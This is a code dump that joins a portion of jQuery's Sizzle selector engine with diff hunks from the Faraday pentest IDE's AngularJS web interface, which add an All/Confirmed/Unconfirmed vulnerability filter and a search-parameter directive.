4561 return ret;
4562 }
4563
4564 var cur = a.nextSibling;
4565
4566 while ( cur ) {
4567 if ( cur === b ) {
4568 return -1;
4569 }
4570
4571 cur = cur.nextSibling;
4572 }
4573
4574 return 1;
4575 }
4576
4577 sortOrder = docElem.compareDocumentPosition ?
4578 function( a, b ) {
4579 if ( a === b ) {
4580 hasDuplicate = true;
4581 return 0;
4582 }
4583
4584 return ( !a.compareDocumentPosition || !b.compareDocumentPosition ?
4585 a.compareDocumentPosition :
4586 a.compareDocumentPosition(b) & 4
4587 ) ? -1 : 1;
4588 } :
4589 function( a, b ) {
4590 // The nodes are identical, we can exit early
4591 if ( a === b ) {
4592 hasDuplicate = true;
4593 return 0;
4594
4595 // Fallback to using sourceIndex (in IE) if it's available on both nodes
4596 } else if ( a.sourceIndex && b.sourceIndex ) {
4597 return a.sourceIndex - b.sourceIndex;
4598 }
4599
4600 var al, bl,
4601 ap = [],
4602 bp = [],
4603 aup = a.parentNode,
4604 bup = b.parentNode,
4605 cur = aup;
4606
4607 // If the nodes are siblings (or identical) we can do a quick check
4608 if ( aup === bup ) {
4609 return siblingCheck( a, b );
4610
4611 // If no parents were found then the nodes are disconnected
4612 } else if ( !aup ) {
4613 return -1;
4614
4615 } else if ( !bup ) {
4616 return 1;
4617 }
4618
4619 // Otherwise they're somewhere else in the tree so we need
4620 // to build up a full list of the parentNodes for comparison
4621 while ( cur ) {
4622 ap.unshift( cur );
4623 cur = cur.parentNode;
4624 }
4625
4626 cur = bup;
4627
4628 while ( cur ) {
4629 bp.unshift( cur );
4630 cur = cur.parentNode;
4631 }
4632
4633 al = ap.length;
4634 bl = bp.length;
4635
4636 // Start walking down the tree looking for a discrepancy
4637 for ( var i = 0; i < al && i < bl; i++ ) {
4638 if ( ap[i] !== bp[i] ) {
4639 return siblingCheck( ap[i], bp[i] );
4640 }
4641 }
4642
4643 // We ended someplace up the tree so do a sibling check
4644 return i === al ?
4645 siblingCheck( a, bp[i], -1 ) :
4646 siblingCheck( ap[i], b, 1 );
4647 };
4648
4649 // Always assume the presence of duplicates if sort doesn't
4650 // pass them to our comparison function (as in Google Chrome).
4651 [0, 0].sort( sortOrder );
4652 baseHasDuplicate = !hasDuplicate;
4653
4654 // Document sorting and removing duplicates
4655 Sizzle.uniqueSort = function( results ) {
4656 var elem,
4657 duplicates = [],
4658 i = 1,
4659 j = 0;
4660
4661 hasDuplicate = baseHasDuplicate;
4662 results.sort( sortOrder );
4663
4664 if ( hasDuplicate ) {
4665 for ( ; (elem = results[i]); i++ ) {
4666 if ( elem === results[ i - 1 ] ) {
4667 j = duplicates.push( i );
4668 }
4669 }
4670 while ( j-- ) {
4671 results.splice( duplicates[ j ], 1 );
4672 }
4673 }
4674
4675 return results;
4676 };
4677
4678 Sizzle.error = function( msg ) {
4679 throw new Error( "Syntax error, unrecognized expression: " + msg );
4680 };
4681
4682 function tokenize( selector, parseOnly ) {
4683 var matched, match, tokens, type,
4684 soFar, groups, preFilters,
4685 cached = tokenCache[ expando ][ selector + " " ];
4686
4687 if ( cached ) {
4688 return parseOnly ? 0 : cached.slice( 0 );
4689 }
4690
4691 soFar = selector;
4692 groups = [];
4693 preFilters = Expr.preFilter;
4694
4695 while ( soFar ) {
4696
4697 // Comma and first run
4698 if ( !matched || (match = rcomma.exec( soFar )) ) {
4699 if ( match ) {
4700 // Don't consume trailing commas as valid
4701 soFar = soFar.slice( match[0].length ) || soFar;
4702 }
4703 groups.push( tokens = [] );
4704 }
4705
4706 matched = false;
4707
4708 // Combinators
4709 if ( (match = rcombinators.exec( soFar )) ) {
4710 tokens.push( matched = new Token( match.shift() ) );
4711 soFar = soFar.slice( matched.length );
4712
4713 // Cast descendant combinators to space
4714 matched.type = match[0].replace( rtrim, " " );
4715 }
4716
4717 // Filters
4718 for ( type in Expr.filter ) {
4719 if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
4720 (match = preFilters[ type ]( match ))) ) {
4721
4722 tokens.push( matched = new Token( match.shift() ) );
4723 soFar = soFar.slice( matched.length );
4724 matched.type = type;
4725 matched.matches = match;
4726 }
4727 }
4728
4729 if ( !matched ) {
4730 break;
4731 }
4732 }
4733
4734 // Return the length of the invalid excess
4735 // if we're just parsing
4736 // Otherwise, throw an error or return tokens
4737 return parseOnly ?
4738 soFar.length :
4739 soFar ?
4740 Sizzle.error( selector ) :
4741 // Cache the tokens
4742 tokenCache( selector, groups ).slice( 0 );
4743 }
4744
4745 function addCombinator( matcher, combinator, base ) {
4746 var dir = combinator.dir,
4747 checkNonElements = base && combinator.dir === "parentNode",
4748 doneName = done++;
4749
4750 return combinator.first ?
4751 // Check against closest ancestor/preceding element
4752 function( elem, context, xml ) {
4753 while ( (elem = elem[ dir ]) ) {
4754 if ( checkNonElements || elem.nodeType === 1 ) {
4755 return matcher( elem, context, xml );
4756 }
4757 }
4758 } :
4759
4760 // Check against all ancestor/preceding elements
4761 function( elem, context, xml ) {
4762 // We can't set arbitrary data on XML nodes, so they don't benefit from dir caching
4763 if ( !xml ) {
4764 var cache,
4765 dirkey = dirruns + " " + doneName + " ",
4766 cachedkey = dirkey + cachedruns;
4767 while ( (elem = elem[ dir ]) ) {
4768 if ( checkNonElements || elem.nodeType === 1 ) {
4769 if ( (cache = elem[ expando ]) === cachedkey ) {
4770 return elem.sizset;
4771 } else if ( typeof cache === "string" && cache.indexOf(dirkey) === 0 ) {
4772 if ( elem.sizset ) {
4773 return elem;
4774 }
4775 } else {
4776 elem[ expando ] = cachedkey;
4777 if ( matcher( elem, context, xml ) ) {
4778 elem.sizset = true;
4779 return elem;
4780 }
4781 elem.sizset = false;
4782 }
4783 }
4784 }
4785 } else {
4786 while ( (elem = elem[ dir ]) ) {
4787 if ( checkNonElements || elem.nodeType === 1 ) {
4788 if ( matcher( elem, context, xml ) ) {
4789 return elem;
4790 }
4791 }
4792 }
4793 }
4794 };
4795 }
4796
4797 function elementMatcher( matchers ) {
4798 return matchers.length > 1 ?
4799 function( elem, context, xml ) {
4800 var i = matchers.length;
4801 while ( i-- ) {
4802 if ( !matchers[i]( elem, context, xml ) ) {
4803 return false;
4804 }
4805 }
4806 return true;
4807 } :
4808 matchers[0];
4809 }
4810
4811 function condense( unmatched, map, filter, context, xml ) {
4812 var elem,
4813 newUnmatched = [],
4814 i = 0,
4815 len = unmatched.length,
4816 mapped = map != null;
4817
4818 for ( ; i < len; i++ ) {
4819 if ( (elem = unmatched[i]) ) {
4820 if ( !filter || filter( elem, context, xml ) ) {
4821 newUnmatched.push( elem );
4822 if ( mapped ) {
4823 map.push( i );
4824 }
4825 }
4826 }
4827 }
4828
4829 return newUnmatched;
4830 }
4831
4832 function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
4833 if ( postFilter && !postFilter[ expando ] ) {
4834 postFilter = setMatcher( postFilter );
4835 }
4836 if ( postFinder && !postFinder[ expando ] ) {
4837 postFinder = setMatcher( postFinder, postSelector );
4838 }
4839 return markFunction(function( seed, results, context, xml ) {
4840 var temp, i, elem,
4841 preMap = [],
4842 postMap = [],
4843 preexisting = results.length,
4844
4845 // Get initial elements from seed or context
4846 elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ),
4847
4848 // Prefilter to get matcher input, preserving a map for seed-results synchronization
4849 matcherIn = preFilter && ( seed || !selector ) ?
4850 condense( elems, preMap, preFilter, context, xml ) :
4851 elems,
4852
4853 matcherOut = matcher ?
4854 // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,
4855 postFinder || ( seed ? preFilter : preexisting || postFilter ) ?
4856
4857 // ...intermediate processing is necessary
4858 [] :
4859
4860 // ...otherwise use results directly
4861 results :
4862 matcherIn;
4863
4864 // Find primary matches
4865 if ( matcher ) {
4866 matcher( matcherIn, matcherOut, context, xml );
4867 }
4868
4869 // Apply postFilter
4870 if ( postFilter ) {
4871 temp = condense( matcherOut, postMap );
4872 postFilter( temp, [], context, xml );
4873
4874 // Un-match failing elements by moving them back to matcherIn
4875 i = temp.length;
4876 while ( i-- ) {
4877 if ( (elem = temp[i]) ) {
4878 matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);
4879 }
4880 }
4881 }
4882
4883 if ( seed ) {
4884 if ( postFinder || preFilter ) {
4885 if ( postFinder ) {
4886 // Get the final matcherOut by condensing this intermediate into postFinder contexts
4887 temp = [];
4888 i = matcherOut.length;
4889 while ( i-- ) {
4890 if ( (elem = matcherOut[i]) ) {
4891 // Restore matcherIn since elem is not yet a final match
4892 temp.push( (matcherIn[i] = elem) );
4893 }
4894 }
4895 postFinder( null, (matcherOut = []), temp, xml );
4896 }
4897
4898 // Move matched elements from seed to results to keep them synchronized
4899 i = matcherOut.length;
4900 while ( i-- ) {
4901 if ( (elem = matcherOut[i]) &&
4902 (temp = postFinder ? indexOf.call( seed, elem ) : preMap[i]) > -1 ) {
4903
4904 seed[temp] = !(results[temp] = elem);
4905 }
4906 }
4907 }
4908
4909 // Add elements to results, through postFinder if defined
4910 } else {
4911 matcherOut = condense(
4912 matcherOut === results ?
4913 matcherOut.splice( preexisting, matcherOut.length ) :
4914 matcherOut
4915 );
4916 if ( postFinder ) {
4917 postFinder( null, results, matcherOut, xml );
4918 } else {
4919 push.apply( results, matcherOut );
4920 }
4921 }
4922 });
4923 }
4924
4925 function matcherFromTokens( tokens ) {
4926 var checkContext, matcher, j,
4927 len = tokens.length,
4928 leadingRelative = Expr.relative[ tokens[0].type ],
4929 implicitRelative = leadingRelative || Expr.relative[" "],
4930 i = leadingRelative ? 1 : 0,
4931
4932 // The foundational matcher ensures that elements are reachable from top-level context(s)
4933 matchContext = addCombinator( function( elem ) {
4934 return elem === checkContext;
4935 }, implicitRelative, true ),
4936 matchAnyContext = addCombinator( function( elem ) {
4937 return indexOf.call( checkContext, elem ) > -1;
4938 }, implicitRelative, true ),
4939 matchers = [ function( elem, context, xml ) {
4940 return ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
4941 (checkContext = context).nodeType ?
4942 matchContext( elem, context, xml ) :
4943 matchAnyContext( elem, context, xml ) );
4944 } ];
4945
4946 for ( ; i < len; i++ ) {
4947 if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
4948 matchers = [ addCombinator( elementMatcher( matchers ), matcher ) ];
4949 } else {
4950 matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );
4951
4952 // Return special upon seeing a positional matcher
4953 if ( matcher[ expando ] ) {
4954 // Find the next relative operator (if any) for proper handling
4955 j = ++i;
4956 for ( ; j < len; j++ ) {
4957 if ( Expr.relative[ tokens[j].type ] ) {
4958 break;
4959 }
4960 }
4961 return setMatcher(
4962 i > 1 && elementMatcher( matchers ),
4963 i > 1 && tokens.slice( 0, i - 1 ).join("").replace( rtrim, "$1" ),
4964 matcher,
4965 i < j && matcherFromTokens( tokens.slice( i, j ) ),
4966 j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
4967 j < len && tokens.join("")
4968 );
4969 }
4970 matchers.push( matcher );
4971 }
4972 }
4973
4974 return elementMatcher( matchers );
4975 }
4976
4977 function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
4978 var bySet = setMatchers.length > 0,
4979 byElement = elementMatchers.length > 0,
4980 superMatcher = function( seed, context, xml, results, expandContext ) {
4981 var elem, j, matcher,
4982 setMatched = [],
4983 matchedCount = 0,
4984 i = "0",
4985 unmatched = seed && [],
4986 outermost = expandContext != null,
4987 contextBackup = outermostContext,
4988 // We must always have either seed elements or context
4989 elems = seed || byElement && Expr.find["TAG"]( "*", expandContext && context.parentNode || context ),
4990 // Nested matchers should use non-integer dirruns
4991 dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.E);
4992
4993 if ( outermost ) {
4994 outermostContext = context !== document && context;
4995 cachedruns = superMatcher.el;
4996 }
4997
4998 // Add elements passing elementMatchers directly to results
4999 for ( ; (elem = elems[i]) != null; i++ ) {
5000 if ( byElement && elem ) {
5001 for ( j = 0; (matcher = elementMatchers[j]); j++ ) {
5002 if ( matcher( elem, context, xml ) ) {
5003 results.push( elem );
5004 break;
5005 }
5006 }
5007 if ( outermost ) {
5008 dirruns = dirrunsUnique;
5009 cachedruns = ++superMatcher.el;
5010 }
5011 }
5012
5013 // Track unmatched elements for set filters
5014 if ( bySet ) {
5015 // They will have gone through all possible matchers
5016 if ( (elem = !matcher && elem) ) {
5017 matchedCount--;
5018 }
5019
5020 // Lengthen the array for every element, matched or not
5021 if ( seed ) {
5022 unmatched.push( elem );
5023 }
5024 }
5025 }
5026
5027 // Apply set filters to unmatched elements
5028 matchedCount += i;
5029 if ( bySet && i !== matchedCount ) {
5030 for ( j = 0; (matcher = setMatchers[j]); j++ ) {
5031 matcher( unmatched, setMatched, context, xml );
5032 }
5033
5034 if ( seed ) {
5035 // Reintegrate element matches to eliminate the need for sorting
5036 if ( matchedCount > 0 ) {
5037 while ( i-- ) {
5038 if ( !(unmatched[i] || setMatched[i]) ) {
5039 setMatched[i] = pop.call( results );
5040 }
5041 }
5042 }
5043
5044 // Discard index placeholder values to get only actual matches
5045 setMatched = condense( setMatched );
5046 }
5047
5048 // Add matches to results
5049 push.apply( results, setMatched );
5050
5051 // Seedless set matches succeeding multiple successful matchers stipulate sorting
5052 if ( outermost && !seed && setMatched.length > 0 &&
5053 ( matchedCount + setMatchers.length ) > 1 ) {
5054
5055 Sizzle.uniqueSort( results );
5056 }
5057 }
5058
5059 // Override manipulation of globals by nested matchers
5060 if ( outermost ) {
5061 dirruns = dirrunsUnique;
5062 outermostContext = contextBackup;
5063 }
5064
5065 return unmatched;
5066 };
5067
5068 superMatcher.el = 0;
5069 return bySet ?
5070 markFunction( superMatcher ) :
5071 superMatcher;
5072 }
5073
5074 compile = Sizzle.compile = function( selector, group /* Internal Use Only */ ) {
5075 var i,
5076 setMatchers = [],
5077 elementMatchers = [],
5078 cached = compilerCache[ expando ][ selector + " " ];
5079
5080 if ( !cached ) {
5081 // Generate a function of recursive functions that can be used to check each element
5082 if ( !group ) {
5083 group = tokenize( selector );
5084 }
5085 i = group.length;
5086 while ( i-- ) {
5087 cached = matcherFromTokens( group[i] );
5088 if ( cached[ expando ] ) {
5089 setMatchers.push( cached );
5090 } else {
5091 elementMatchers.push( cached );
5092 }
5093 }
5094
5095 // Cache the compiled function
5096 cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );
5097 }
5098 return cached;
5099 };
5100
5101 function multipleContexts( selector, contexts, results ) {
5102 var i = 0,
5103 len = contexts.length;
5104 for ( ; i < len; i++ ) {
5105 Sizzle( selector, contexts[i], results );
5106 }
5107 return results;
5108 }
5109
5110 function select( selector, context, results, seed, xml ) {
5111 var i, tokens, token, type, find,
5112 match = tokenize( selector ),
5113 j = match.length;
5114
5115 if ( !seed ) {
5116 // Try to minimize operations if there is only one group
5117 if ( match.length === 1 ) {
5118
5119 // Take a shortcut and set the context if the root selector is an ID
5120 tokens = match[0] = match[0].slice( 0 );
5121 if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
5122 context.nodeType === 9 && !xml &&
5123 Expr.relative[ tokens[1].type ] ) {
5124
5125 context = Expr.find["ID"]( token.matches[0].replace( rbackslash, "" ), context, xml )[0];
5126 if ( !context ) {
5127 return results;
5128 }
5129
5130 selector = selector.slice( tokens.shift().length );
5131 }
5132
5133 // Fetch a seed set for right-to-left matching
5134 for ( i = matchExpr["POS"].test( selector ) ? -1 : tokens.length - 1; i >= 0; i-- ) {
5135 token = tokens[i];
5136
5137 // Abort if we hit a combinator
5138 if ( Expr.relative[ (type = token.type) ] ) {
5139 break;
5140 }
5141 if ( (find = Expr.find[ type ]) ) {
5142 // Search, expanding context for leading sibling combinators
5143 if ( (seed = find(
5144 token.matches[0].replace( rbackslash, "" ),
5145 rsibling.test( tokens[0].type ) && context.parentNode || context,
5146 xml
5147 )) ) {
5148
5149 // If seed is empty or no tokens remain, we can return early
5150 tokens.splice( i, 1 );
5151 selector = seed.length && tokens.join("");
5152 if ( !selector ) {
5153 push.apply( results, slice.call( seed, 0 ) );
5154 return results;
5155 }
5156
5157 break;
5158 }
5159 }
5160 }
5161 }
5162 }
5163
5164 // Compile and execute a filtering function
5165 // Provide `match` to avoid retokenization if we modified the selector above
5166 compile( selector, match )(
5167 seed,
5168 context,
5169 xml,
5170 results,
5171 rsibling.test( selector )
5172 );
5173 return results;
5174 }
5175
5176 if ( document.querySelectorAll ) {
5177 (function() {
5178 var disconnectedMatch,
5179 oldSelect = select,
5180 rescape = /'|\\/g,
5181 rattributeQuotes = /\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,
5182
5183 // qSa(:focus) reports false when true (Chrome 21), no need to also add to buggyMatches since matches checks buggyQSA
5184 // A support test would require too much code (would include document ready)
5185 rbuggyQSA = [ ":focus" ],
5186
5187 // matchesSelector(:active) reports false when true (IE9/Opera 11.5)
5188 // A support test would require too much code (would include document ready)
5189 // just skip matchesSelector for :active
5190 rbuggyMatches = [ ":active" ],
5191 matches = docElem.matchesSelector ||
5192 docElem.mozMatchesSelector ||
5193 docElem.webkitMatchesSelector ||
5194 docElem.oMatchesSelector ||
5195 docElem.msMatchesSelector;
5196
5197 // Build QSA regex
5198 // Regex strategy adopted from Diego Perini
5199 assert(function( div ) {
5200 // Select is set to empty string on purpose
5201 // This is to test IE's treatment of not explictly
5202 // setting a boolean content attribute,
5203 // since its presence should be enough
5204 // http://bugs.jquery.com/ticket/12359
5205 div.innerHTML = "<select><option selected=''></option></select>";
5206
5207 // IE8 - Some boolean attributes are not treated correctly
5208 if ( !div.querySelectorAll("[selected]").length ) {
5209 rbuggyQSA.push( "\\[" + whitespace + "*(?:checked|disabled|ismap|multiple|readonly|selected|value)" );
5210 }
5211
5212 // Webkit/Opera - :checked should return selected option elements
5213 // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
5214 // IE8 throws error here (do not put tests after this one)
5215 if ( !div.querySelectorAll(":checked").length ) {
5216 rbuggyQSA.push(":checked");
5217 }
5218 });
5219
5220 assert(function( div ) {
5221
5222 // Opera 10-12/IE9 - ^= $= *= and empty values
5223 // Should not select anything
5224 div.innerHTML = "<p test=''></p>";
5225 if ( div.querySelectorAll("[test^='']").length ) {
5226 rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:\"\"|'')" );
5227 }
5228
5229 // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
5230 // IE8 throws error here (do not put tests after this one)
5231 div.innerHTML = "<input type='hidden'/>";
5232 if ( !div.querySelectorAll(":enabled").length ) {
5233 rbuggyQSA.push(":enabled", ":disabled");
5234 }
5235 });
5236
5237 // rbuggyQSA always contains :focus, so no need for a length check
5238 rbuggyQSA = /* rbuggyQSA.length && */ new RegExp( rbuggyQSA.join("|") );
5239
5240 select = function( selector, context, results, seed, xml ) {
5241 // Only use querySelectorAll when not filtering,
5242 // when this is not xml,
5243 // and when no QSA bugs apply
5244 if ( !seed && !xml && !rbuggyQSA.test( selector ) ) {
5245 var groups, i,
5246 old = true,
5247 nid = expando,
5248 newContext = context,
5249 newSelector = context.nodeType === 9 && selector;
5250
5251 // qSA works strangely on Element-rooted queries
5252 // We can work around this by specifying an extra ID on the root
5253 // and working up from there (Thanks to Andrew Dupont for the technique)
5254 // IE 8 doesn't work on object elements
5255 if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
5256 groups = tokenize( selector );
5257
5258 if ( (old = context.getAttribute("id")) ) {
5259 nid = old.replace( rescape, "\\$&" );
5260 } else {
5261 context.setAttribute( "id", nid );
5262 }
5263 nid = "[id='" + nid + "'] ";
5264
5265 i = groups.length;
5266 while ( i-- ) {
5267 groups[i] = nid + groups[i].join("");
5268 }
5269 newContext = rsibling.test( selector ) && context.parentNode || context;
5270 newSelector = groups.join(",");
5271 }
5272
5273 if ( newSelector ) {
5274 try {
5275 push.apply( results, slice.call( newContext.querySelectorAll(
5276 newSelector
5277 ), 0 ) );
5278 return results;
5279 } catch(qsaError) {
5280 } finally {
5281 if ( !old ) {
5282 context.removeAttribute("id");
5283 }
5284 }
5285 }
5286 }
5287
5288 return oldSelect( selector, context, results, seed, xml );
5289 };
5290
5291 if ( matches ) {
5292 assert(function( div ) {
5293 // Check to see if it's possible to do matchesSelector
5294 // on a disconnected node (IE 9)
5295 disconnectedMatch = matches.call( div, "div" );
5296
5297 // This should fail with an exception
5298 // Gecko does not error, returns false instead
5299 try {
5300 matches.call( div, "[test!='']:sizzle" );
5301 rbuggyMatches.push( "!=", pseudos );
5302 } catch ( e ) {}
5303 });
5304
5305 // rbuggyMatches always contains :active and :focus, so no need for a length check
5306 rbuggyMatches = /* rbuggyMatches.length && */ new RegExp( rbuggyMatches.join("|") );
5307
5308 Sizzle.matchesSelector = function( elem, expr ) {
5309 // Make sure that attribute selectors are quoted
5310 expr = expr.replace( rattributeQuotes, "='$1']" );
5311
5312 // rbuggyMatches always contains :active, so no need for an existence check
5313 if ( !isXML( elem ) && !rbuggyMatches.test( expr ) && !rbuggyQSA.test( expr ) ) {
5314 try {
5315 var ret = matches.call( elem, expr );
5316
5317 // IE 9's matchesSelector returns false on disconnected nodes
5318 if ( ret || disconnectedMatch ||
5319 // As well, disconnected nodes are said to be in a document
5320 // fragment in IE 9
5321 elem.document && elem.document.nodeType !== 11 ) {
5322 return ret;
5323 }
5324 } catch(e) {}
5325 }
5326
5327 return Sizzle( expr, null, null, [ elem ] ).length > 0;
5328 };
5329 }
5330 })();
5331 }
5332
5333 // Deprecated
5334 Expr.pseudos["nth"] = Expr.pseudos["eq"];
5335
5336 // Back-compat
5337 function setFilters() {}
5338 Expr.filters = setFilters.prototype = Expr.pseudos;
5339 Expr.setFilters = new setFilters();
5340
53415341 // Override sizzle attribute retrieval
53425342 Sizzle.attr = jQuery.attr;
53435343 jQuery.find = Sizzle;
53475347 jQuery.text = Sizzle.getText;
53485348 jQuery.isXMLDoc = Sizzle.isXML;
53495349 jQuery.contains = Sizzle.contains;
5350
5351
5352 })( window );
5350
5351
5352 })( window );
53535353 var runtil = /Until$/,
53545354 rparentsprev = /^(?:parents|prev(?:Until|All))/,
53555355 isSimple = /^.[^:#\[\.,]*$/,
307307 var searchFilter = {};
308308 var lastFilterField = "search";
309309 var expressionTerms = searchExpression.split(" ");
310 var excludedConnectorsList = ["and"];
310311
311312 expressionTerms.forEach(function(term) {
312313 i = term.indexOf(":");
319320 if (!searchFilter.hasOwnProperty(lastFilterField)) {
320321 searchFilter[lastFilterField] = term;
321322 } else {
322 searchFilter[lastFilterField] += ' ' + term;
323 if(excludedConnectorsList.indexOf(term.toLowerCase()) === -1){
324 searchFilter[lastFilterField] += ' ' + term;
325 }
323326 }
324327 }
325328 });
2929 $scope.vulnModelsManager;
3030
3131 $scope.vulnWebSelected;
32 $scope.confirmed = false;
3332
3433 $scope.gridHeight;
3534 var allVulns;
7776 $scope.gridOptions.paginationPageSize = storedPageSize;
7877 }
7978
80 if($cookies.get("confirmed") === "true") {
81 $scope.confirmed = true;
79 if($cookies.get("filterConfirmed") !== undefined) {
80 $scope.propertyFilterConfirmed = $cookies.get("filterConfirmed");
81 }else{
82 $scope.propertyFilterConfirmed = "All";
8283 }
8384
8485 $scope.gridOptions.onRegisterApi = function(gridApi){
152153 // current search
153154 $scope.search = $routeParams.search;
154155 $scope.searchParams = "";
155 if($scope.confirmed === true) {
156 if($scope.propertyFilterConfirmed === "Confirmed") {
156157 if($scope.search !== undefined) {
157158 $scope.search = $scope.search.concat("&confirmed=true");
158159 } else {
159160 $scope.search = "confirmed=true";
160161 }
161162 }
163
164 if($scope.propertyFilterConfirmed === "Unconfirmed") {
165 if($scope.search !== undefined) {
166 $scope.search = $scope.search.concat("&confirmed=false");
167 } else {
168 $scope.search = "confirmed=false";
169 }
170 }
171
162172
163173 $scope.hash = window.location.hash;
164174 if(window.location.hash.substring(1).indexOf("search") !== -1) {
668678 $scope.csv = function() {
669679 deferred = $q.defer();
670680 delete searchFilter.confirmed;
671 if ($scope.confirmed)
681 if ($scope.propertyFilterConfirmed === "Confirmed")
672682 searchFilter.confirmed = true;
683 if ($scope.propertyFilterConfirmed === "Unconfirmed")
684 searchFilter.confirmed = false;
673685 vulnsManager.getVulns($scope.workspace,
674686 null,
675687 null,
682694 return deferred.promise;
683695 };
684696
685 $scope.toggleFilter = function() {
686 $scope.confirmed = !$scope.confirmed;
687 $cookies.put('confirmed', $scope.confirmed);
697 $scope.filterConfirmed = function (filter) {
698 $scope.propertyFilterConfirmed = filter;
699 $cookies.put('filterConfirmed', $scope.propertyFilterConfirmed);
688700 loadVulns();
689701 };
690702
9971009 var loadVulns = function() {
9981010 delete searchFilter.confirmed;
9991011 $scope.loading = true;
1000 if ($scope.confirmed)
1012 if ($scope.propertyFilterConfirmed === 'Confirmed')
10011013 searchFilter.confirmed = true;
1014 if ($scope.propertyFilterConfirmed === 'Unconfirmed'){
1015 searchFilter.confirmed = false;
1016 }
10021017 // load all vulnerabilities
10031018 vulnsManager.getVulns($scope.workspace,
10041019 paginationOptions.page,
0 // Faraday Penetration Test IDE
1 // Copyright (C) 2018 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3
4 angular.module('faradayApp').directive('appendSearchParam', ['$routeParams', '$location', function ($routeParams, $location) {
5 return {
6 restrict: 'A',
7 replace: false,
8 link: function (scope, element, attr) {
9
10 element.on('click', function (event) {
11 scope.currentParams = $routeParams.search;
12 if (scope.currentParams !== undefined) {
13 scope.newParam = attr.appendSearchParam;
14 var hash = window.location.hash;
15 var basePath = hash.slice(1, hash.indexOf("search") + 7);
16 if (scope.newParam.indexOf('%2520') !== -1){
17 scope.newParam = decodeURIComponent(scope.newParam);
18 }
19
20 scope.fullPath = basePath + scope.currentParams + '&' + scope.newParam;
21 if (paramAlreadyExists(scope.currentParams, scope.newParam)) {
22 scope.fullPath = basePath + scope.currentParams;
23 }
24
25 event.preventDefault();
26 $location.path(scope.fullPath);
27 }
28 });
29
30 var paramAlreadyExists = function (currentParam, newParam) {
31 var currentParamStr = decodeURIComponent(decodeURIComponent(currentParam));
32 var newParamStr = decodeURIComponent(decodeURIComponent(newParam));
33 return currentParamStr === newParamStr || currentParamStr.indexOf(newParamStr) !== -1;
34 }
35 }
36 };
37 }]);
7272 </div>
7373 </form>
7474 </div>
75 <div class="control-wrapper filter-wrapper">
76 <button type="button" class="btn btn-default confirm-button" title="{{ confirmed === true ? 'All vulns' : 'Confirmed vulns' }}" ng-click="toggleFilter()">
77 <img ng-src="{{ (confirmed === true) ? 'images/icon-toolbar-confirmed-on.svg' : 'images/icon-toolbar-confirmed-off.svg'}}" class="confirm-icon" ng-style="{ 'opacity': (confirmed === true) ? '1' : '0.7' }" />
78 </button>
79 </div>
8075 <div class="control-wrapper download-wrapper">
8176 <button file-exporter="csv()" type="button" class="btn btn-default" title="Download CSV for current workspace">
8277 <img src="images/icon-toolbar-download.svg" class="download-icon" />
120115 </ul>
121116 </div>
122117 <div class="btn-group">
118 <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown" title="{{propertyFilterConfirmed}}">
119 {{ (propertyFilterConfirmed) }}
120 </button>
121 <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown" title="Filter confirmed vulns">
122 <span class="caret"></span>
123 </button>
124 <ul class="dropdown-menu dropdown-menu-right" role="menu">
125 <li>
126 <a class="ws" ng-if="propertyFilterConfirmed !== 'All'" ng-click="filterConfirmed('All')">All</a>
127 <a class="ws" ng-if="propertyFilterConfirmed !== 'Confirmed'" ng-click="filterConfirmed('Confirmed')">Confirmed</a>
128 <a class="ws" ng-if="propertyFilterConfirmed !== 'Unconfirmed'" ng-click="filterConfirmed('Unconfirmed')">Unconfirmed</a>
129 </li>
130 </ul>
131 </div>
132 <div class="btn-group">
123133 <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown" title="Add columns">
124134 Add columns
125135 </button>
00 <div ng-if="row.entity._id != undefined">
1 <div ng-if="!col.grouping || col.grouping.groupPriority === undefined || col.grouping.groupPriority === null || ( row.groupHeader && col.grouping.groupPriority === row.treeLevel )" class="ui-grid-cell-contents white-space" uib-tooltip="{{COL_FIELD}}"><a href='{{grid.appScope.hash}}/search/creator={{grid.appScope.encodeUrl(row.entity.metadata.creator)}}'>{{COL_FIELD CUSTOM_FILTERS}}</a></div>
1 <div ng-if="!col.grouping || col.grouping.groupPriority === undefined || col.grouping.groupPriority === null || ( row.groupHeader && col.grouping.groupPriority === row.treeLevel )" class="ui-grid-cell-contents white-space" uib-tooltip="{{COL_FIELD}}"><a href='{{grid.appScope.hash}}/search/creator={{grid.appScope.encodeUrl(row.entity.metadata.creator)}}' append-search-param="creator={{grid.appScope.encodeUrl(row.entity.metadata.creator)}}">{{COL_FIELD CUSTOM_FILTERS}}</a></div>
22 </div>
33 <div ng-if="row.groupHeader && col.grouping.groupPriority !== undefined" class="ui-grid-cell-contents white-space">{{COL_FIELD.split("(")[0] !== " " ? COL_FIELD : "EMPTY" + COL_FIELD}}</div>
